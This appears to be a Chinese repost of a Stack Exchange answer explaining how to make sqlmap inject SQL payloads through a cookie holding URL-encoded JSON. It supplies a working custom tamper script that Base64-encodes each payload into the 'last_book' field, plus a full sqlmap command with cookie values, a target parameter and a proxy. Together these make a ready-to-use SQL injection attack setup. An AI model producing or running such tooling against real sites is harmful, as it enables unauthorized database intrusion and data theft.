如何让sqlmap仅对SQL注入Payload进行Base64编码而非Cookie中的JSON前缀内容?
解决sqlmap仅对JSON嵌套字段中的Payload进行Base64编码的问题
我明白你的问题了——默认的base64encode.py tamper脚本会对整个目标参数的内容进行Base64编码,但你的场景是Cookie里的userchl2_info是一个URL编码后的JSON字符串,只有其中last_book字段的值需要注入Payload并编码,默认脚本会把JSON结构的后缀部分(比如",\"userchl2\":\"\"})也一起编码,导致JSON格式完全错乱。
解决方案:自定义Tamper脚本
你需要编写一个自定义的tamper脚本,专门针对JSON中的last_book字段进行编码,而不是整个参数。以下是实现步骤:
- 创建一个名为
json_lastbook_b64.py的脚本,内容如下:
import base64 import urllib.parse from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if not payload: return payload # 组装包含编码后Payload的完整JSON结构 encoded_payload = base64.b64encode(payload.encode()).decode() json_str = f'{{"last_book":"{encoded_payload}","userchl2":""}}' # 对JSON进行URL编码以适配Cookie格式 url_encoded_json = urllib.parse.quote(json_str) return url_encoded_json
- 调整sqlmap命令,使用这个自定义tamper脚本,并修正参数定位:
sqlmap -u http://site/books.php \ --cookie='sid=b6270368-4664-11ec-8ec2-98b2e4c71523; userchl2_info=PLACEHOLDER; PHPSESSID=r4prs5fb372c7ccuq4bsb947r2' \ -p userchl2_info \ --flush-session --fresh-queries \ --dbms=mysql --level=4 \ --tamper=json_lastbook_b64.py \ --proxy=http://127.0.0.1:8080
关键说明
- 自定义脚本会把sqlmap生成的Payload先做Base64编码,再嵌入到正确的JSON结构中,最后进行URL编码,确保只有
last_book字段的值是注入Payload的编码结果,JSON的其他结构完全保留。 -p userchl2_info指定目标参数是整个userchl2_infoCookie项,而非之前的部分JSON片段,让sqlmap把整个参数的生成权交给tamper脚本。- Cookie中的
userchl2_info值可以填任意占位符(比如PLACEHOLDER),脚本会自动替换为正确的编码后内容。
验证
用Burp Suite抓包查看请求,你会看到userchl2_info的值是符合要求的URL编码JSON:last_book字段的值是sqlmap注入Payload的Base64编码,其余JSON结构保持原样,不会被错误编码。
内容的提问来源于stack exchange,提问作者Bradley
相关产品推荐
相关产品推荐

